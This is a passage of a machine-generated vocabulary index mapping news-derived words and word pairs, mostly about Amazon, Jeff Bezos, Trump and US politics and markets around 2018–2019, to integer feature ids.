169234, "wapo amnesty": 169235, "red room": 169236, "promised wall": 169237, "pocket blanket": 169238, "unusual hurdle": 169239, "shares 284": 169240, "fear president": 169241, "republicans hate": 169242, "foreigners": 169243, "didion": 169244, "hamper development": 169245, "mail contrary": 169246, "4194 trade": 169247, "protein": 169248, "creates shared": 169249, "notch": 169250, "address addiction": 169251, "internet users": 169252, "2016 later": 169253, "brooks": 169254, "truthful": 169255, "york choices": 169256, "note apple": 169257, "party time": 169258, "setzer": 169259, "told scott": 169260, "housing disaster": 169261, "today seeing": 169262, "estimated 323": 169263, "lana": 169264, "picture imaging": 169265, "passy": 169266, "pox": 169267, "jenny durkan": 169268, "report urges": 169269, "greer owns": 169270, "nyse pg": 169271, "quill": 169272, "lower enforcers": 169273, "david sims": 169274, "inc_code_only_text null": 169275, "redhat splunk": 169276, "points communications": 169277, "soaking northwestern": 169278, "providing equal": 169279, "increases divided": 169280, "instant pot": 169281, "tax expenditures": 169282, "mossad playboy": 169283, "meeks": 169284, "streaming content": 169285, "entire piece": 169286, "alphabet political": 169287, "recieve": 169288, "steve cannon": 169289, "consumer payment": 169290, "judgment murdoch": 169291, "tyranny": 169292, "tackles tech": 169293, "deal circumvented": 169294, "respectful": 169295, "legal designation": 169296, "government hugenesses": 169297, "expenditures allen": 169298, "brass": 169299, "customer email": 169300, "builds profile": 169301, "shaheen": 169302, "grumman noc": 169303, "institute washington": 169304, "republicans president": 169305, "launch offers": 169306, "bombshells": 169307, "rooms health": 169308, "stay late": 169309, "2010": 169310, "outfront": 169311, "dancing": 169312, "aquino": 169313, "groceries online": 169314, "package does": 169315, "amazon cloud": 169316, "infuriates": 169317, "financially hurting": 169318, "mike lee": 169319, "international shopping": 169320, "original picture": 169321, "1st affecting": 169322, "beating heart": 169323, "generation gap": 169324, "expressed agreement": 169325, "sahara": 169326, "charge makes": 169327, "missouri voted": 169328, "highlights": 169329, "hyper wealthy": 169330, "goat cheese": 169331, "canceled": 169332, "reveal goofy": 169333, "disney plus": 169334, "protecting intellectual": 169335, "diverse talent": 169336, "pursue": 169337, "commend": 169338, "massive scale": 169339, "worst affected": 169340, "payment service": 169341, "future urban": 169342, "names formally": 169343, "publicly assailed": 169344, "attractive pleasing": 169345, "muller abbie": 169346, "tradition scouts": 169347, "abe reaffirm": 169348, "intelligence assistant": 169349, "battering": 169350, "iphones designed": 169351, "giant companies": 169352, "record divorce": 169353, "penney jcp": 169354, "stage day": 169355, "gs": 169356, "ju data": 169357, "emily griffin": 169358, "unfortunate events": 169359, "consensus president": 169360, "reported unfavorable": 169361, "syndrome nitrous": 169362, "ap eric": 169363, "collect taxes": 169364, "polarizing election": 169365, "spokane": 169366, "choosing": 169367, "duty canadian": 169368, "ryan huber": 169369, "choice dropping": 169370, "kremlin": 169371, "pocket antennas": 169372, "problem join": 169373, "drapery": 169374, "testing service": 169375, "shopping swell": 169376, "karl": 169377, "lobosco employers": 169378, "feat amazon": 169379, "heavyweights amazon": 169380, "amazon mail": 169381, "hornsey amid": 169382, "people putting": 169383, "pomerantz senior": 169384, "lamster depicts": 169385, "building permanent": 169386, "indo": 169387, "landlord just": 169388, "rubble": 169389, "biometric data": 169390, "heyes": 169391, "quarter continental": 169392, "money pouring": 169393, "mistakes": 169394, "lawmakers especially": 169395, "face anti": 169396, "steamy picture": 169397, "youtube": 169398, "goods peter": 169399, "uw parkside": 169400, "2nd attorney": 169401, "mugshots": 169402, "filing": 169403, "hired team": 169404, "115 693": 169405, "intense customer": 169406, "companies according": 169407, "dress revealing": 169408, "gop attack": 169409, "prime version": 169410, "dracula": 169411, "legislators": 169412, "2billion": 169413, "service analyst": 169414, "progressive ideas": 169415, "remind trump": 169416, "people feel": 169417, "times money": 169418, "worth earlier": 169419, "staking": 169420, "years places": 169421, "sensex managed": 169422, "thomas patterson": 169423, "federally": 169424, "merkel looks": 169425, "government medicine": 169426, "billionaire owner": 169427, "295": 169428, "salles points": 169429, "elevates": 169430, "initial claims": 169431, "lawyers": 169432, "billionaires selling": 169433, "specific mrntf": 169434, "circumspect": 169435, "today savannah": 169436, "alphabet automobilnews": 169437, "recent court": 169438, "china avoiding": 169439, "drives": 169440, "spotlight nonetheless": 169441, "crew neck": 169442, "montana viewpoint": 169443, "including new": 169444, "socks quickly": 169445, "employees documentation": 169446, "functions differently": 169447, "womans": 169448, "vestager europe": 169449, "retail shipping": 169450, "rival retailers": 169451, "gop member": 169452, "mulled": 169453, "445 projects": 169454, "risen welch": 169455, "minister mentioned": 169456, "disappearances": 169457, "opposes unilateral": 169458, "198 125": 169459, "jobs": 169460, "wonderful": 169461, "security comfort": 169462, "billion following": 169463, "chris": 169464, "employees group": 169465, "5835": 169466, "contact media": 169467, "connections": 169468, "child merchandise": 169469, "lends authentic": 169470, "obama adminstration": 169471, "dershowitz told": 169472, "second chicago": 169473, "advertising artificial": 169474, "previous obama": 169475, "persuade daily": 169476, "promoting hate": 169477, "long fought": 169478, "strategist michael": 169479, "strategic location": 169480, "spain trust": 169481, "avoided shouted": 169482, "big favorite": 169483, "investigate": 169484, "accommodate": 169485, "lurid texts": 169486, "fragile deal": 169487, "cnn commentator": 169488, "lilly combined": 169489, "medical practices": 169490, "egypt dirty": 169491, "bling twitter": 169492, "cameroon church": 169493, "public images": 169494, "blue stronghold": 169495, "acidic ramsay": 169496, "sparked political": 169497, "sure": 169498, "existent": 169499, "shared infrastructure": 169500, "rap songs": 169501, "democratic socialists": 169502, "bbc world": 169503, "stocks want": 169504, "cupboard sent": 169505, "firms salesforce": 169506, "pentagon defence": 169507, "2018 fiscal": 169508, "cuomo pledged": 169509, "far harsher": 169510, "agreement president": 169511, "projected": 169512, "weirdralph status": 169513, "memorywell": 169514, "lgbt community": 169515, "holmes founder": 169516, "index closed": 169517, "allowed just": 169518, "macfarlane": 169519, "powell doesn": 169520, "prominent official": 169521, "program according": 169522, "representatives continue": 169523, "outlook 2018": 169524, "facing multiple": 169525, "mclellan": 169526, "offer tax": 169527, "secret merchandise": 169528, "ohio plant": 169529, "utf andrew": 169530, "trade skirmish": 169531, "regretted": 169532, "flowed": 169533, "revenue misses": 169534, "bezos unveiled": 169535, "valleys": 169536, "provide required": 169537, "immediately disclose": 169538, "recent attention": 169539, "amazing image": 169540, "amazon selections": 169541, "aug according": 169542, "inappropriate conduct": 169543, "best total": 169544, "begin negotiating": 169545, "total revenue": 169546, "scarborough": 169547, "w6": 169548, "discovering read": 169549, "bond ish": 169550, "way time": 169551, "private shipping": 169552, "capitalist blog": 169553, "disparaged": 169554, "word bozo": 169555, "claimed clinton": 169556, "says work": 169557, "enforcement task": 169558, "catch jeff": 169559, "lynette": 169560, "khan explained": 169561, "conspiracy media": 169562, "abortion debate": 169563, "dear girl": 169564, "default based": 169565, "branded shitting": 169566, "mt": 169567, "city planning": 169568, "massachusetts hundreds": 169569, "set": 169570, "billinson jbillinson": 169571, "lawmakers regulators": 169572, "presidents brian": 169573, "global a4ee": 169574, "later cashes": 169575, "starred tom": 169576, "blown probe": 169577, "echoing": 169578, "nongovernmental": 169579, "vmware nyse": 169580, "discuss brexit": 169581, "olivia carville": 169582, "rewrote": 169583, "begun": 169584, "everyday low": 169585, "numerous alleged": 169586, "service price": 169587, "abuse cover": 169588, "country lower": 169589, "soper embedded": 169590, "tabloid told": 169591, "credit yujin": 169592, "nbc lose": 169593, "marriage lasted": 169594, "point warehouse": 169595, "post jeff": 169596, "creep kavanaugh": 169597, "remove": 169598, "walmart aggressive": 169599, "trump siccing": 169600, "seasons david": 169601, "boss mistress": 169602, "commissioners taking": 169603, "deftly dodged": 169604, "speak": 169605, "bezos navarro": 169606, "nielsen kids": 169607, "experts suggest": 169608, "showed support": 169609, "right way": 169610, "courts typically": 169611, "orchestra": 169612, "sympathetic": 169613, "say block": 169614, "lawyer saying": 169615, "prospective clients": 169616, "curios": 169617, "uniform says": 169618, "stockpile birth": 169619, "act cra": 169620, "disclosure agreements": 169621, "halloween photos": 169622, "portions": 169623, "couple married": 169624, "news shirt": 169625, "products sell": 169626, "trump budget": 169627, "set loose": 169628, "captives": 169629, "subsidies licenses": 169630, "health treatment": 169631, "conde nast": 169632, "forecast wall": 169633, "2019 going": 169634, "packaged goods": 169635, "neon": 169636, "mega cap": 169637, "rally protesting": 169638, "paying employees": 169639, "interests targeted": 169640, "party site": 169641, "major expansion": 169642, "cbs live": 169643, "beneath": 169644, "fathers": 169645, "separate instances": 169646, "cleaned": 169647, "struggling public": 169648, "year fourth": 169649, "share value": 169650, "house colleagues": 169651, "support quality": 169652, "post stone": 169653, "related accomplishments": 169654, "attacks using": 169655, "feature discount": 169656, "hurricanes football": 169657, "character trying": 169658, "parks transportation": 169659, "ma charlie": 169660, "subject matters": 169661, "experience unacceptable": 169662, "hasclass metadata": 169663, "develop dozens": 169664, "fog": 169665, "bzwidgets": 169666, "relevant bestseller": 169667, "local municipalities": 169668, "wayfair amazon": 169669, "encana 8217": 169670, "capitalist folk": 169671, "kavanaugh inquiry": 169672, "sessions waits": 169673, "seminole": 169674, "collaboration notes": 169675, "aws exceeded": 169676, "unprecedented act": 169677, "trump declaring": 169678, "sen ron": 169679, "trio project": 169680, "monet 130": 169681, "society organizations": 169682, "grows new": 169683, "starts arena": 169684, "amazing job": 169685, "fantasy juggernaut": 169686, "called uber": 169687, "join politico": 169688, "obama google": 169689, "trump hometown": 169690, "misleading figures": 169691, "canned heat": 169692, "day hard": 169693, "story coming": 169694, "created special": 169695, "eve hemingway": 169696, "compare apple": 169697, "india booming": 169698, "feeney thank": 169699, "family horror": 169700, "york based": 169701, "mattered corporate": 169702, "newsstand edition": 169703, "haddad susan": 169704, "dodging taxes": 169705, "ukhashtags socialmedia": 169706, "effectively produce": 169707, "company calibre": 169708, "outperform": 169709, "dozen years": 169710, "apr": 169711, "tasks extremely": 169712, "time volunteered": 169713, "carlos ballesteros": 169714, "company prime": 169715, "fact pattern": 169716, "charging ecommerce": 169717, "attend various": 169718, "level mean": 169719, "wage governor": 169720, "critic engaged": 169721, "conspiracy hit": 169722, "bad feel": 169723, "girls haunted": 169724, "bevy": 169725, "newscms 2019_10": 169726, "politicon nonpartisan": 169727, "dead near": 169728, "higher volatility": 169729, "buying pinnacle": 169730, "company ends": 169731, "control witch": 169732, "total referrals": 169733, "trump attempted": 169734, "women delivered": 169735, "aleksej gubarev": 169736, "2016 jeff": 169737, "buyer complaint": 169738, "recent meeting": 169739, "wants": 169740, "biggest challenges": 169741, "make antitrust": 169742, "gained huge": 169743, "amzn moab": 169744, "robert mccartney": 169745, "possibilities agric": 169746, "devices creates": 169747, "hikes fivestar": 169748, "compliance infrastructure": 169749, "reignites": 169750, "mehic timesunion": 169751, "alphabet representatives": 169752, "hold legal": 169753, "arranged search": 169754, "00m amazon": 169755, "crime rate": 169756, "moscow wouldn": 169757, "city cemented": 169758, "fixerwho": 169759, "hit sales": 169760, "investors weigh": 169761, "critically acclaimed": 169762, "widen sanders": 169763, "kilometres": 169764, "amazon launches": 169765, "good year": 169766, "freight service": 169767, "convince trump": 169768, "billionaire owners": 169769, "smith black": 169770, "nicknaming": 169771, "protection began": 169772, "woefully short": 169773, "noise pence": 169774, "voters head": 169775, "488 immigrant": 169776, "awkward trump": 169777, "disgust": 169778, "lin oliver": 169779, "data reveals": 169780, "run atop": 169781, "trip narrative": 169782, "fare increases": 169783, "baby stores": 169784, "best seltzer": 169785, "market rout": 169786, "hammered away": 169787, "workers starting": 169788, "kopsi added": 169789, "puyallup": 169790, "joined trump": 169791, "bezos stood": 169792, "infotainment systems": 169793, "flufreeflorida": 169794, "insatiable demand": 169795, "stay small": 169796, "boston headquarters": 169797, "comfortable hiking": 169798, "personage": 169799, "immediately met": 169800, "low liquidity": 169801, "pierce bush": 169802, "inducing hatred": 169803, "concept developed": 169804, "billion": 169805, "unfortunate headline": 169806, "traders reconsidered": 169807, "socioambiental isa": 169808, "taxpaying": 169809, "rival game": 169810, "secretarial": 169811, "year 2019": 169812, "securing high": 169813, "talks travelers": 169814, "eventually announced": 169815, "nonworking": 169816, "nike ching": 169817, "reported 400": 169818, "supports ads": 169819, "protections offered": 169820, "dangerous": 169821, "fang": 169822, "purified": 169823, "antique clock": 169824, "calling midterm": 169825, "love jealousy": 169826, "couples want": 169827, "trump missed": 169828, "additional strategic": 169829, "act tcja": 169830, "legal hit": 169831, "price rates": 169832, "rot": 169833, "cutting timeline": 169834, "findings earlier": 169835, "consumers cited": 169836, "upscale grocery": 169837, "viking man": 169838, "publicly testify": 169839, "theory claims": 169840, "missouri demanded": 169841, "vsa voter": 169842, "bezos noted": 169843, "enquirer asked": 169844, "crowded amazon": 169845, "canceled deals": 169846, "cincinnatis": 169847, "pay toll": 169848, "smith information": 169849, "loser": 169850, "embarrasses": 169851, "corner gulftimes": 169852, "attorney based": 169853, "old simon": 169854, "offers developers": 169855, "facebook page": 169856, "past cramer": 169857, "certain voices": 169858, "landmark sex": 169859, "extraordinary displays": 169860, "slimming": 169861, "soliciting": 169862, "company cbre": 169863, "effect start": 169864, "effect publish": 169865, "acquiring guggenheim": 169866, "group qanon": 169867, "interact": 169868, "washington exhibit": 169869, "fully compensate": 169870, "buzz60 washington": 169871, "brazil association": 169872, "smalls brooklyn": 169873, "delivery based": 169874, "division think": 169875, "douglas": 169876, "damaging stories": 169877, "growing issues": 169878, "illicit data": 169879, "housing demand": 169880, "repealing 173": 169881, "avoid tariffs": 169882, "underbrush": 169883, "ex employee": 169884, "today turbulent": 169885, "ensure": 169886, "continue unsettled": 169887, "counts amazon": 169888, "american psycho": 169889, "cohen testified": 169890, "including key": 169891, "carell portrayed": 169892, "pitchfork buy": 169893, "imdb jordan": 169894, "5ff1b69e 483f": 169895, "explicit word": 169896, "repeatedly delayed": 169897, "growing disillusionment": 169898, "schwan kroger": 169899, "naples": 169900, "nycedc capital": 169901, "lure men": 169902, "key positive": 169903, "review contracts": 169904, "acquire indirect": 169905, "protestors": 169906, "promote music": 169907, "press big": 169908, "salles": 169909, "policy steve": 169910, "egregious news": 169911, "improving health": 169912, "marked pick": 169913, "time round": 169914, "elle fanning": 169915, "risk losing": 169916, "production director": 169917, "scheduled sponsored": 169918, "driven competition": 169919, "utm_content": 169920, "intrigue exploding": 169921, "audibly emotional": 169922, "sixes": 169923, "updates amazon": 169924, "jess bezos": 169925, "seminars": 169926, "multiple controversies": 169927, "million transportation": 169928, "night football": 169929, "aid trump": 169930, "success follow": 169931, "maker blue": 169932, "business edge": 169933, "centers reports": 169934, "dismal": 169935, "ny political": 169936, "herera quickly": 169937, "photo california": 169938, "mil copies": 169939, "rebound beijing": 169940, "happy holidays": 169941, "shipka mad": 169942, "ajaypal banga": 169943, "amazon potential": 169944, "article written": 169945, "amazon official": 169946, "money cnl_filelocation": 169947, "adrift": 169948, "industry griffeth": 169949, "grateful apos": 169950, "seriously look": 169951, "formed coalition": 169952, "airlines best": 169953, "credit rating": 169954, "interview released": 169955, "just showed": 169956, "joaquin castro": 169957, "solution specifically": 169958, "bootleg release": 169959, "sight": 169960, "procurements": 169961, "1331804068 lynxmpeeb4032": 169962, "contractors new": 169963, "voice uis": 169964, "vermont democrat": 169965, "2014 bezos": 169966, "immigration stance": 169967, "yeah": 169968, "magazine published": 169969, "concentrations": 169970, "stock waiting": 169971, "images trump": 169972, "enters space": 169973, "convenient package": 169974, "prison rich": 169975, "2018 askebay": 169976, "excellent gossip": 169977, "crazy egg": 169978, "fair council": 169979, "finance leaders": 169980, "encompassing lingerie": 169981, "standoff earlier": 169982, "provided public": 169983, "wire alphabet": 169984, "employee pay": 169985, "making history": 169986, "radical": 169987, "magazine cover": 169988, "sanders frequently": 169989, "katie pellico": 169990, "retracted": 169991, "year revenue": 169992, "packages making": 169993, "mark harris": 169994, "godfather pizza": 169995, "woman feuding": 169996, "trump puts": 169997, "street house": 169998, "internal controls": 169999, "lower start": 170000, "responded relatively": 170001, "analyse": 170002, "abbe": 170003, "ownership just": 170004, "trump following": 170005, "reportedly considering": 170006, "credit 2283a": 170007, "denny": 170008, "reassigned": 170009, "biggest source": 170010, "cut makes": 170011, "deasy wrote": 170012, "nearly crossing": 170013, "1970s": 170014, "ami coverage": 170015, "rival companies": 170016, "freeloading billionaires": 170017, "present melancholia": 170018, "legitimate excuses": 170019, "cheap delivery": 170020, "gi": 170021, "tears": 170022, "anjani": 170023, "2a": 170024, "blunting": 170025, "mayor fort": 170026, "alt text": 170027, "publicly fumed": 170028, "bit complicated": 170029, "separate billion": 170030, "wieser bull": 170031, "fungi food": 170032, "geared phenomenally": 170033, "tom shillue": 170034, "newsman": 170035, "agency investigating": 170036, "sandwich erasing": 170037, "member solomon": 170038, "virginia based": 170039, "sbux etf": 170040, "helicopter flies": 170041, "dramatically improved": 170042, "contract represents": 170043, "series breaking": 170044, "earnest detective": 170045, "unelected surveillance": 170046, "hurricane irma": 170047, "global humanitarian": 170048, "uneven playing": 170049, "similar landing": 170050, "market control": 170051, "francisco moya": 170052, "inadequacies": 170053, "trumka president": 170054, "connection dear": 170055, "nfl elite": 170056, "gesine bullock": 170057, "roth ira": 170058, "treadmill normally": 170059, "fischer helms": 170060, "focus exclusively": 170061, "phony objects": 170062, "plunge": 170063, "toxins vendors": 170064, "leave canada": 170065, "billion companies": 170066, "destitute": 170067, "won lawsuit": 170068, "andhe expands": 170069, "benedetto according": 170070, "atwood amazon": 170071, "moral obligation": 170072, "harr": 170073, "trump montana": 170074, "boteach noted": 170075, "venezuela bolivia": 170076, "promising tech": 170077, "2014 stocks": 170078, "palace politics": 170079, "south korea": 170080, "mnuchin special": 170081, "recent publication": 170082, "country specific": 170083, "img": 170084, "coincidence national": 170085, "mechagodzilla": 170086, "amazon agreed": 170087, "actual examples": 170088, "israeli occupation": 170089, "push voters": 170090, "hallquist won": 170091, "chops mixes": 170092, "dossier supposedly": 170093, "gov rick": 170094, "images including": 170095, "spreading weak": 170096, "raisman": 170097, "john gettys": 170098, "local money": 170099, "directing original": 170100, "erdrich trevino": 170101, "couldn look": 170102, "unions sparked": 170103, "campaign avoid": 170104, "market analyst": 170105, "achieve growth": 170106, "wagner aurora": 170107, "sponsored boot": 170108, "hawaiian armageddon": 170109, "consumers typically": 170110, "story walmart": 170111, "spokesperson according": 170112, "air mansion": 170113, "learned amazon": 170114, "world html": 170115, "defeat hillary": 170116, "paper notion": 170117, "including soybeans": 170118, "celebrated": 170119, "uncompetitive": 170120, "trump reckless": 170121, "recurring roles": 170122, "lightning studied": 170123, "firefighters budgets": 170124, "users recall": 170125, "macy": 170126, "fashioned way": 170127, "notoriously unpopular": 170128, "tuesdaymotivation": 170129, "mounted comeback": 170130, "committees shelby": 170131, "followed national": 170132, "coercion": 170133, "fall preview": 170134, "closs teenager": 170135, "republicans maybe": 170136, "brims": 170137, "ellis island": 170138, "administrative law": 170139, "elmhurst community": 170140, "raised funds": 170141, "considers unfair": 170142, "community including": 170143, "sounded positive": 170144, "stitcher copper": 170145, "recorder": 170146, "hailed passage": 170147, "broader stock": 170148, "trump employs": 170149, "tobrien46": 170150, "castro sounded": 170151, "hiring single": 170152, "gaining political": 170153, "jury lie": 170154, "book bloomberg": 170155, "included robotic": 170156, "tweeted sickening": 170157, "higher costs": 170158, "survival fans": 170159, "mirrors amazon": 170160, "regime ice": 170161, "takes photo": 170162, "emphasising": 170163, "videocollectionurl video": 170164, "bob woodward": 170165, "keast politico": 170166, "living hunger": 170167, "bush set": 170168, "hurting fellow": 170169, "investing advice": 170170, "promoted books": 170171, "signature blackburn": 170172, "trump candidacy": 170173, "becker recently": 170174, "subscription fee": 170175, "uniform sam": 170176, "giuliani security": 170177, "called middle": 170178, "polarization murray": 170179, "feared amazon": 170180, "housing truly": 170181, "tpg telecom": 170182, "karlis previously": 170183, "sensational sexual": 170184, "service includes": 170185, "city democratic": 170186, "economy 2018": 170187, "accountant rick": 170188, "ride naz": 170189, "reportedly granted": 170190, "experienced year": 170191, "discussed human": 170192, "renewed optimism": 170193, "including world": 170194, "person alive": 170195, "retail systems": 170196, "amazon temporarily": 170197, "bolsters": 170198, "informed weekday": 170199, "posting blog": 170200, "bolster new": 170201, "whoop": 170202, "website bloomberg": 170203, "openly anti": 170204, "publishing perspectives": 170205, "oil producer": 170206, "citadel": 170207, "taxes regulations": 170208, "gmt torrent": 170209, "general 2018": 170210, "amazon spokespeople": 170211, "sockslane company": 170212, "collins government": 170213, "watch alphabet": 170214, "uk organized": 170215, "candidates": 170216, "editorial quality": 170217, "constituents great": 170218, "upended school": 170219, "teachers doctors": 170220, "month hughes": 170221, "conspiracy reached": 170222, "edelson stiglitz": 170223, "economy business": 170224, "world keoshkerian": 170225, "evening everybody": 170226, "vaults": 170227, "act intended": 170228, "times editorial": 170229, "achieve desk": 170230, "howard": 170231, "treason": 170232, "plaintiffs": 170233, "unfortunately pomp": 170234, "company pointed": 170235, "inherently": 170236, "ma_compt_maylor": 170237, "open soon": 170238, "drivers engage": 170239, "brokers": 170240, "economy contracted": 170241, "sheriff hopper": 170242, "saying residents": 170243, "surveillance data": 170244, "text white": 170245, "destination": 170246, "johnsbury": 170247, "beating gains": 170248, "harris": 170249, "comment cloud": 170250, "rent amazon": 170251, "alexa kiss": 170252, "demand bezos": 170253, "plummet": 170254, "says sam": 170255, "europe old": 170256, "bank win": 170257, "trade reuters": 170258, "housing amazon": 170259, "stoke": 170260, "islam": 170261, "election driven": 170262, "2019 mackenzie": 170263, "nsa politics": 170264, "despite widespread": 170265, "company participation": 170266, "patrick star": 170267, "facebook suggesting": 170268, "media volunteers": 170269, "plethora": 170270, "q1 2019": 170271, "aktiengesellschaft fi": 170272, "divorce list": 170273, "roti destination": 170274, "big entity": 170275, "old looking": 170276, "rollercoaster sixteen": 170277, "dominated version": 170278, "archives": 170279, "mainly thank": 170280, "achieves": 170281, "important issues": 170282, "connolly": 170283, "incident actually": 170284, "resumes attack": 170285, "government bodies": 170286, "app play": 170287, "ethical safeguards": 170288, "quarter northeast": 170289, "separation crisis": 170290, "scrapping planned": 170291, "stupid dannyzuker": 170292, "ravages europe": 170293, "specials images": 170294, "dalton wsj": 170295, "law says": 170296, "acosta hannity": 170297, "105 000": 170298, "ana mar\u00eda": 170299, "securities analyst": 170300, "snubbed": 170301, "nipping": 170302, "act provides": 170303, "class bernie": 170304, "decided unanimously": 170305, "foolery": 170306, "new expansion": 170307, "conservatives just": 170308, "washington dc": 170309, "lost lot": 170310, "neb": 170311, "bypassing search": 170312, "amazon cox": 170313, "right peek": 170314, "government websites": 170315, "long multi": 170316, "restoring": 170317, "conspicuous trump": 170318, "reported 778": 170319, "jan 2015": 170320, "plus sure": 170321, "continue offering": 170322, "routine glowing": 170323, "euro bloomberg": 170324, "maurice": 170325, "chris gayle": 170326, "lovely": 170327, "complete monopoly": 170328, "uber invested": 170329, "recall ford": 170330, "generated revenue": 170331, "ranked number": 170332, "wwii london": 170333, "tweeted seemingly": 170334, "glasses apple": 170335, "feldman writes": 170336, "providers small": 170337, "york plans": 170338, "baseless allegation": 170339, "hair charlie": 170340, "time imminent": 170341, "judicial committee": 170342, "trump term": 170343, "simplistic": 170344, "alabama crimson": 170345, "gas citing": 170346, "desi": 170347, "microsoft amazon": 170348, "ritchie": 170349, "ustr highlighted": 170350, "phyllis cuttino": 170351, "governments stars": 170352, "assistant playing": 170353, "washington garofolo": 170354, "shifted course": 170355, "rounds enjoy": 170356, "place amazon": 170357, "city amenities": 170358, "new step": 170359, "government annual": 170360, "lmpressive benefits": 170361, "obama economic": 170362, "half year": 170363, "abg": 170364, "reed stevenson": 170365, "dirty": 170366, "crossings": 170367, "right direction": 170368, "new locations": 170369, "ohmnilabs": 170370, "geekwire john": 170371, "crisis line": 170372, "001 000": 170373, "strong contrasts": 170374, "letter lakesha": 170375, "isn interested": 170376, "tide pod": 170377, "founder jack": 170378, "make deliveries": 170379, "gawande recently": 170380, "orders georgia": 170381, "autism mlb": 170382, "mdf desk": 170383, "make trump": 170384, "instruments squeebles": 170385, "missing revenue": 170386, "tax facebook": 170387, "married fox": 170388, "happy prime": 170389, "process pennsylvania": 170390, "gov hearing": 170391, "specific items": 170392, "sessions makes": 170393, "deal intact": 170394, "roku okta": 170395, "room mo": 170396, "just agree": 170397, "european professional": 170398, "branding strategy": 170399, "goldengateblond": 170400, "administration rhetoric": 170401, "agita": 170402, "brand called": 170403, "dinner economic": 170404, "typically doesn": 170405, "reported book": 170406, "alana newhouse": 170407, "office declined": 170408, "rating": 170409, "capitalism ethiopia": 170410, "ordeal jolley": 170411, "packages offered": 170412, "manager jennifer": 170413, "permanent occupation": 170414, "offered little": 170415, "emmaroller": 170416, "quality isn": 170417, "certainly lot": 170418, "supermarket": 170419, "sawing": 170420, "office hit": 170421, "distant": 170422, "getting approval": 170423, "headquarters persistent": 170424, "conway weighed": 170425, "person title": 170426, "taken private": 170427, "yes did": 170428, "subpar": 170429, "weren disclosed": 170430, "giving illegal": 170431, "dumas gene": 170432, "soy producer": 170433, "ultimate failure": 170434, "outright enemies": 170435, "interviewing people": 170436, "maintaining subways": 170437, "investment yahoo": 170438, "york covering": 170439, "office blames": 170440, "chests": 170441, "smartphone maker": 170442, "tgt": 170443, "identify patients": 170444, "discouraging trump": 170445, "investigation nyc": 170446, "foretold": 170447, "boots fq2": 170448, "skills mozzarella": 170449, "program began": 170450, "road initiative": 170451, "start lawsuit": 170452, "steve wynn": 170453, "optimal transportation": 170454, "various references": 170455, "gumshoe": 170456, "grocery division": 170457, "wisconsin": 170458, "possible votes": 170459, "pilots began": 170460, "free business": 170461, "section details": 170462, "disasters": 170463, "powers sure": 170464, "build mega": 170465, "board needs": 170466, "ship books": 170467, "2018 pressure": 170468, "1962": 170469, "bee turned": 170470, "supernatural beings": 170471, "panel cornell": 170472, "28m": 170473, "reports revealed": 170474, "awarded 950": 170475, "dirt": 170476, "undisclosed period": 170477, "gamble nyse": 170478, "profile incident": 170479, "bridges": 170480, "warns trade": 170481, "project known": 170482, "gillian anderson": 170483, "cave complex": 170484, "delay negative": 170485, "lower gross": 170486, "occupies palestine": 170487, "unread": 170488, "planned meeting": 170489, "caputo trump": 170490, "hosting livestream": 170491, "cuomo initiated": 170492, "helped offset": 170493, "amzn say": 170494, "icing": 170495, "money according": 170496, "little fun": 170497, "c0 jc": 170498, "hidden": 170499, "market institute": 170500, "share records": 170501, "laura nahmias": 170502, "kudlow isn": 170503, "really kick": 170504, "kohl says": 170505, "variety reports": 170506, "democrat disclaimer": 170507, "significantly lower": 170508, "amazon contract": 170509, "unallocated transit": 170510, "tariff list": 170511, "walton fails": 170512, "056 weighed": 170513, "transcript obama": 170514, "undercut": 170515, "chartstyletoggle false": 170516, "2005 2014": 170517, "david mcintosh": 170518, "leverages": 170519, "reportedly shows": 170520, "bloody murder": 170521, "artful": 170522, "special focus": 170523, "life balance": 170524, "stocks closed": 170525, "week bumpy": 170526, "danger sam": 170527, "continue inventing": 170528, "house jones": 170529, "city experts": 170530, "just holding": 170531, "reinvestment coalition": 170532, "paranoia suggesting": 170533, "gayle gayle": 170534, "operations": 170535, "abelskiver makers": 170536, "alleged political": 170537, "month offers": 170538, "600x400 getty_623710176_388104": 170539, "twtr": 170540, "conflates": 170541, "initiative aimed": 170542, "merely wanted": 170543, "business magazine": 170544, "burn thousands": 170545, "dinner dixie": 170546, "billions leading": 170547, "salacious private": 170548, "observes": 170549, "force base": 170550, "breaking point": 170551, "prize": 170552, "beauregard": 170553, "aqms aqua": 170554, "bartiromo larry": 170555, "document promote": 170556, "hilarious bug": 170557, "amazon issue": 170558, "tabloid reported": 170559, "trump head": 170560, "ben purdy": 170561, "untraditional": 170562, "candidates garnered": 170563, "billion shy": 170564, "acre waterfront": 170565, "week fell": 170566, "publisher cut": 170567, "reversing mergers": 170568, "congress called": 170569, "small share": 170570, "sam homewood": 170571, "think alike": 170572, "doubt": 170573, "timing say": 170574, "city maybe": 170575, "convey": 170576, "leaders approximately": 170577, "suisse suffers": 170578, "continuous basis": 170579, "yard walt": 170580, "kospi added": 170581, "lead mccain": 170582, "llc stated": 170583, "amazon air": 170584, "deadly opioids": 170585, "forms": 170586, "ceo stepped": 170587, "store licensing": 170588, "appetite appears": 170589, "tag targeting": 170590, "curlingly embarrassing": 170591, "sizeable gains": 170592, "2005 indie": 170593, "services currency": 170594, "966 3806": 170595, "jin kim": 170596, "jake snow": 170597, "men esque": 170598, "blame supervisor": 170599, "arlington bustling": 170600, "regulatory powers": 170601, "movement called": 170602, "amazon earnings": 170603, "impulse buys": 170604, "yerdlljc5t nwdc": 170605, "business costs": 170606, "beginning easley": 170607, "provides xel": 170608, "involved half": 170609, "bezos love": 170610, "elaina plott": 170611, "industry best": 170612, "journal thanks": 170613, "remains hardwired": 170614, "associates cable": 170615, "new tv": 170616, "cosecha activists": 170617, "opened retail": 170618, "unbiased": 170619, "best tech": 170620, "german import": 170621, "mondays tsx": 170622, "restaurant sanchez": 170623, "represents major": 170624, "resources second": 170625, "open board": 170626, "source close": 170627, "logistics expertise": 170628, "county jail": 170629, "young african": 170630, "section states": 170631, "retailers compete": 170632, "phone soon": 170633, "castaldo hbo": 170634, "ilene rosen": 170635, "flaccus sent": 170636, "commission secret": 170637, "book saving": 170638, "descent": 170639, "c9": 170640, "ripple affects": 170641, "organization helpedarrange": 170642, "unchallenged": 170643, "organization sues": 170644, "right carlson": 170645, "yield jumped": 170646, "suggesting president": 170647, "___ epa": 170648, "visited": 170649, "refills": 170650, "unforeseeable events": 170651, "reorganizes series": 170652, "funding plan": 170653, "tax applies": 170654, "diametrically opposite": 170655, "amazon deployed": 170656, "specific database": 170657, "family meal": 170658, "schools started": 170659, "protrump": 170660, "immunization": 170661, "governmental affairs": 170662, "tr": 170663, "add new": 170664, "amazon chooses": 170665, "headquarters 